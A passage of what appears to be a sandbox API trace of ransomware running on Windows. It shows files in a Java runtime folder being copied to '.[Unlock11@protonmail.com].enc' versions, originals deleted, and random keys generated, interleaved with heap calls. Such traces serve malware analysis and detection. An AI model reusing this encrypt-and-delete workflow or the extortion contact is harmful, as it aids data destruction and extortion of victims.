lpLocalFileTime=0x9bb4f0) returned 1 [0126.111] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.111] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.111] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.111] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.111] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.111] GetLastError () returned 0x0 [0126.111] GetCurrentThreadId () returned 0x9b0 [0126.111] GetLastError () returned 0x0 [0126.112] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265428 | out: hHeap=0x2ad0000) returned 1 [0126.112] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0126.112] GetLastError () returned 0x0 [0126.112] GetLastError () returned 0x0 [0126.112] GetLastError () returned 0x0 [0126.112] GetLastError () returned 0x0 [0126.112] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0126.112] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32652d8 [0126.112] GetLastError () returned 0x0 [0126.112] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0126.113] GetFileType (hFile=0x3ac) returned 0x1 [0126.113] GetLastError () returned 0x0 [0126.113] GetCurrentThreadId () returned 0x9b0 [0126.113] GetLastError () returned 0x0 [0126.113] GetFileType (hFile=0x3ac) returned 0x1 [0126.113] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0126.113] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.113] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.113] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.113] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.114] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.114] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.114] GetLastError () returned 0x0 [0126.114] GetCurrentThreadId () returned 0x9b0 [0126.114] GetLastError () returned 0x0 [0126.114] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652d8 | out: hHeap=0x2ad0000) returned 1 [0126.114] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2148 | out: hHeap=0x2ad0000) returned 1 [0126.114] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0126.114] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0126.114] GetLastError () returned 0x0 [0126.114] GetLastError () returned 0x0 [0126.114] GetCurrentThreadId () returned 0x9b0 [0126.115] GetLastError () returned 0x0 [0126.115] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0126.115] GetLastError () returned 0x0 [0126.115] GetLastError () returned 0x0 [0126.115] GetCurrentThreadId () returned 0x9b0 [0126.115] GetLastError () returned 0x0 [0126.115] GetLastError () returned 0x0 [0126.117] GetLastError () returned 0x0 [0126.117] GetCurrentThreadId () returned 0x9b0 [0126.117] GetLastError () returned 0x0 [0126.117] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652c8 | out: hHeap=0x2ad0000) returned 1 [0126.118] GetCurrentThreadId () returned 0x9b0 [0126.118] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0126.118] GetLastError () returned 0x0 [0126.119] GetLastError () returned 0x0 [0126.119] GetLastError () returned 0x0 [0126.119] GetLastError () returned 0x0 [0126.119] GetCurrentThreadId () returned 0x9b0 [0126.119] GetLastError () returned 0x0 [0126.119] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.119] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0126.119] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0126.119] GetLastError () returned 0x0 [0126.121] GetLastError () returned 0x0 [0126.121] GetCurrentThreadId () returned 0x9b0 [0126.121] GetLastError () returned 0x0 [0126.121] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0126.121] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0126.122] GetLastError () returned 0x0 [0126.126] GetLastError () returned 0x0 [0126.126] GetCurrentThreadId () returned 0x9b0 [0126.126] GetLastError () returned 0x0 [0126.126] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.126] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265348 [0126.126] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653d8 | out: hHeap=0x2ad0000) returned 1 [0126.126] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0126.127] GetCurrentThreadId () returned 0x9b0 [0126.127] GetLastError () returned 0x0 [0126.127] GetLastError () returned 0x0 [0126.127] GetLastError () returned 0x0 [0126.127] GetLastError () returned 0x0 [0126.127] GetCurrentThreadId () returned 0x9b0 [0126.127] GetLastError () returned 0x0 [0126.127] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.127] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881288 [0126.128] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0126.128] GetLastError () returned 0x0 [0126.129] GetLastError () returned 0x0 [0126.129] GetCurrentThreadId () returned 0x9b0 [0126.129] GetLastError () returned 0x0 [0126.129] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0126.129] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0126.129] GetLastError () returned 0x0 [0126.129] GetLastError () returned 0x0 [0126.131] GetCurrentThreadId () returned 0x9b0 [0126.131] GetLastError () returned 0x0 [0126.131] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.131] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32652c8 [0126.131] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265348 | out: hHeap=0x2ad0000) returned 1 [0126.131] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0126.131] GetCurrentThreadId () returned 0x9b0 [0126.131] GetLastError () returned 0x0 [0126.132] GetLastError () returned 0x0 [0126.132] GetLastError () returned 0x0 [0126.132] GetLastError () returned 0x0 [0126.132] GetCurrentThreadId () returned 0x9b0 [0126.132] GetLastError () returned 0x0 [0126.132] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.132] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0126.132] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0126.132] GetLastError () returned 0x0 [0126.133] GetLastError () returned 0x0 [0126.133] GetCurrentThreadId () returned 0x9b0 [0126.133] GetLastError () returned 0x0 [0126.134] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0126.134] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0126.134] GetLastError () returned 0x0 [0126.134] GetLastError () returned 0x0 [0126.135] GetCurrentThreadId () returned 0x9b0 [0126.135] GetLastError () returned 0x0 [0126.135] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.135] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265388 [0126.135] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652c8 | out: hHeap=0x2ad0000) returned 1 [0126.135] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0126.136] GetCurrentThreadId () returned 0x9b0 [0126.136] GetLastError () returned 0x0 [0126.136] GetLastError () returned 0x0 [0126.136] GetLastError () returned 0x0 [0126.136] GetLastError () returned 0x0 [0126.136] GetCurrentThreadId () returned 0x9b0 [0126.136] GetLastError () returned 0x0 [0126.136] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.136] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0126.137] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0126.137] GetLastError () returned 0x0 [0126.137] GetLastError () returned 0x0 [0126.138] GetCurrentThreadId () returned 0x9b0 [0126.138] GetLastError () returned 0x0 [0126.138] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0126.138] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0126.138] GetLastError () returned 0x0 [0126.138] GetLastError () returned 0x0 [0126.140] GetCurrentThreadId () returned 0x9b0 [0126.140] GetLastError () returned 0x0 [0126.140] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.140] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265468 [0126.140] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265388 | out: hHeap=0x2ad0000) returned 1 [0126.140] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0126.140] GetCurrentThreadId () returned 0x9b0 [0126.140] GetLastError () returned 0x0 [0126.141] GetLastError () returned 0x0 [0126.141] GetLastError () returned 0x0 [0126.141] GetLastError () returned 0x0 [0126.141] GetCurrentThreadId () returned 0x9b0 [0126.141] GetLastError () returned 0x0 [0126.141] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.141] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0126.141] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0126.141] GetLastError () returned 0x0 [0126.143] GetLastError () returned 0x0 [0126.143] GetCurrentThreadId () returned 0x9b0 [0126.143] GetLastError () returned 0x0 [0126.143] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0126.143] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0126.143] GetLastError () returned 0x0 [0126.143] GetLastError () returned 0x0 [0126.143] GetCurrentThreadId () returned 0x9b0 [0126.144] GetLastError () returned 0x0 [0126.144] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.144] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265318 [0126.144] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265468 | out: hHeap=0x2ad0000) returned 1 [0126.144] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0126.144] GetCurrentThreadId () returned 0x9b0 [0126.144] GetLastError () returned 0x0 [0126.144] GetLastError () returned 0x0 [0126.145] GetLastError () returned 0x0 [0126.145] GetLastError () returned 0x0 [0126.145] GetCurrentThreadId () returned 0x9b0 [0126.145] GetLastError () returned 0x0 [0126.145] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.145] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0126.145] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0126.145] GetLastError () returned 0x0 [0126.146] GetLastError () returned 0x0 [0126.146] GetCurrentThreadId () returned 0x9b0 [0126.146] GetLastError () returned 0x0 [0126.146] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0126.146] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0126.147] GetLastError () returned 0x0 [0126.147] GetLastError () returned 0x0 [0126.147] GetCurrentThreadId () returned 0x9b0 [0126.147] GetLastError () returned 0x0 [0126.147] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.147] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32652c8 [0126.147] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265318 | out: hHeap=0x2ad0000) returned 1 [0126.147] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0126.147] GetCurrentThreadId () returned 0x9b0 [0126.147] GetLastError () returned 0x0 [0126.148] GetLastError () returned 0x0 [0126.148] GetLastError () returned 0x0 [0126.148] GetLastError () returned 0x0 [0126.148] GetCurrentThreadId () returned 0x9b0 [0126.148] GetLastError () returned 0x0 [0126.148] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.148] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0126.148] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0126.148] GetLastError () returned 0x0 [0126.149] GetLastError () returned 0x0 [0126.150] GetCurrentThreadId () returned 0x9b0 [0126.150] GetLastError () returned 0x0 [0126.150] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0126.150] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0126.150] GetLastError () returned 0x0 [0126.150] GetLastError () returned 0x0 [0126.150] GetCurrentThreadId () returned 0x9b0 [0126.150] GetLastError () returned 0x0 [0126.150] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.150] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653b8 [0126.151] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652c8 | out: hHeap=0x2ad0000) returned 1 [0126.151] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0126.151] GetLastError () returned 0x0 [0126.151] GetLastError () returned 0x0 [0126.151] GetLastError () returned 0x0 [0126.151] GetLastError () returned 0x0 [0126.151] GetCurrentThreadId () returned 0x9b0 [0126.151] GetLastError () returned 0x0 [0126.151] GetCurrentThreadId () returned 0x9b0 [0126.151] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0126.152] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.152] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0126.152] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0126.152] GetLastError () returned 0x0 [0126.153] GetLastError () returned 0x0 [0126.153] GetCurrentThreadId () returned 0x9b0 [0126.153] GetLastError () returned 0x0 [0126.153] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0126.153] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0126.153] GetLastError () returned 0x0 [0126.153] GetLastError () returned 0x0 [0126.153] GetCurrentThreadId () returned 0x9b0 [0126.154] GetLastError () returned 0x0 [0126.154] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.154] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x8de5) returned 0x36f8548 [0126.154] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265398 [0126.154] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653b8 | out: hHeap=0x2ad0000) returned 1 [0126.154] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x8de8) returned 0x3701338 [0126.154] GetLastError () returned 0x0 [0126.154] GetLastError () returned 0x0 [0126.154] GetLastError () returned 0x0 [0126.154] GetLastError () returned 0x0 [0126.155] GetCurrentThreadId () returned 0x9b0 [0126.155] GetLastError () returned 0x0 [0126.155] GetCurrentThreadId () returned 0x9b0 [0126.155] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8de5) returned 0x37bf790 [0126.155] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3701338 | out: hHeap=0x2ad0000) returned 1 [0126.155] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0126.155] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0126.155] GetLastError () returned 0x0 [0126.156] GetLastError () returned 0x0 [0126.156] GetCurrentThreadId () returned 0x9b0 [0126.156] GetLastError () returned 0x0 [0126.156] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.157] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0126.157] GetLastError () returned 0x0 [0126.157] GetLastError () returned 0x0 [0126.157] GetCurrentThreadId () returned 0x9b0 [0126.157] GetLastError () returned 0x0 [0126.157] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.157] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.157] GetLastError () returned 0x0 [0126.157] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0126.158] CloseHandle (hObject=0x3ac) returned 1 [0126.158] GetLastError () returned 0x0 [0126.158] GetCurrentThreadId () returned 0x9b0 [0126.158] GetLastError () returned 0x0 [0126.158] GetLastError () returned 0x0 [0126.158] CloseHandle (hObject=0x39c) returned 1 [0126.158] GetLastError () returned 0x0 [0126.158] GetCurrentThreadId () returned 0x9b0 [0126.158] GetLastError () returned 0x0 [0126.159] GetLastError () returned 0x0 [0126.159] GetLastError () returned 0x0 [0126.159] GetLastError () returned 0x0 [0126.159] GetLastError () returned 0x0 [0126.159] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar")) returned 1 [0126.164] GetLastError () returned 0x0 [0126.164] GetCurrentThreadId () returned 0x9b0 [0126.164] GetLastError () returned 0x0 [0126.164] GetLastError () returned 0x0 [0126.164] GetLastError () returned 0x0 [0126.164] GetLastError () returned 0x0 [0126.164] GetLastError () returned 0x0 [0126.165] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar", lpFilePart=0x9bada4*="jfxswt.jar") returned 0x31 [0126.165] GetCurrentThreadId () returned 0x9b0 [0126.165] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0126.165] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0126.165] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0126.168] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0126.168] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5ed8 [0126.168] GetCurrentThreadId () returned 0x9b0 [0126.168] GetLastError () returned 0x0 [0126.168] GetLastError () returned 0x0 [0126.168] GetLastError () returned 0x0 [0126.168] GetLastError () returned 0x0 [0126.168] GetCurrentThreadId () returned 0x9b0 [0126.168] GetLastError () returned 0x0 [0126.169] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ed8 | out: hHeap=0x2ad0000) returned 1 [0126.169] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5ed8 [0126.169] GetLastError () returned 0x0 [0126.169] GetLastError () returned 0x0 [0126.169] GetLastError () returned 0x0 [0126.169] GetLastError () returned 0x0 [0126.169] GetCurrentThreadId () returned 0x9b0 [0126.169] GetLastError () returned 0x0 [0126.169] GetCurrentThreadId () returned 0x9b0 [0126.169] GetLastError () returned 0x0 [0126.170] GetLastError () returned 0x0 [0126.170] GetLastError () returned 0x0 [0126.170] GetLastError () returned 0x0 [0126.170] GetCurrentThreadId () returned 0x9b0 [0126.170] GetLastError () returned 0x0 [0126.170] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ed8 | out: hHeap=0x2ad0000) returned 1 [0126.170] GetLastError () returned 0x0 [0126.170] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d60f0 | out: hHeap=0x2ad0000) returned 1 [0126.170] GetLastError () returned 0x0 [0126.170] GetLastError () returned 0x0 [0126.170] GetLastError () returned 0x0 [0126.171] GetCurrentThreadId () returned 0x9b0 [0126.171] GetLastError () returned 0x0 [0126.171] GetLastError () returned 0x0 [0126.171] GetLastError () returned 0x0 [0126.171] GetLastError () returned 0x0 [0126.171] GetLastError () returned 0x0 [0126.171] GetCurrentThreadId () returned 0x9b0 [0126.171] GetLastError () returned 0x0 [0126.171] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0126.171] GetLastError () returned 0x0 [0126.171] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d65a0 | out: hHeap=0x2ad0000) returned 1 [0126.172] GetLastError () returned 0x0 [0126.172] GetLastError () returned 0x0 [0126.172] GetLastError () returned 0x0 [0126.172] GetCurrentThreadId () returned 0x9b0 [0126.172] GetLastError () returned 0x0 [0126.172] GetLastError () returned 0x0 [0126.172] GetLastError () returned 0x0 [0126.172] GetLastError () returned 0x0 [0126.172] GetLastError () returned 0x0 [0126.172] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0126.173] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x848c)) returned 1 [0126.173] GetLastError () returned 0x0 [0126.173] GetCurrentThreadId () returned 0x9b0 [0126.173] GetLastError () returned 0x0 [0126.173] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a728 | out: hHeap=0x2ad0000) returned 1 [0126.173] GetCurrentThreadId () returned 0x9b0 [0126.173] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662ee4 | out: pbBuffer=0x3662ee4) returned 1 [0126.173] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0126.173] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4720 [0126.173] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0126.173] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5ed8 [0126.174] GetLastError () returned 0x0 [0126.174] GetLastError () returned 0x0 [0126.174] GetLastError () returned 0x0 [0126.174] GetLastError () returned 0x0 [0126.174] GetCurrentThreadId () returned 0x9b0 [0126.174] GetLastError () returned 0x0 [0126.174] GetCurrentThreadId () returned 0x9b0 [0126.174] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ed8 | out: hHeap=0x2ad0000) returned 1 [0126.174] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5ed8 [0126.174] GetLastError () returned 0x0 [0126.174] GetLastError () returned 0x0 [0126.175] GetLastError () returned 0x0 [0126.175] GetLastError () returned 0x0 [0126.175] GetCurrentThreadId () returned 0x9b0 [0126.175] GetLastError () returned 0x0 [0126.175] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ed8 | out: hHeap=0x2ad0000) returned 1 [0126.175] GetCurrentThreadId () returned 0x9b0 [0126.175] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32652c8 [0126.175] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a4720 | out: hHeap=0x2ad0000) returned 1 [0126.175] GetLastError () returned 0x0 [0126.175] GetLastError () returned 0x0 [0126.175] GetLastError () returned 0x0 [0126.176] GetLastError () returned 0x0 [0126.176] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0126.176] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32652d8 [0126.176] GetLastError () returned 0x0 [0126.176] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0126.176] GetFileType (hFile=0x39c) returned 0x1 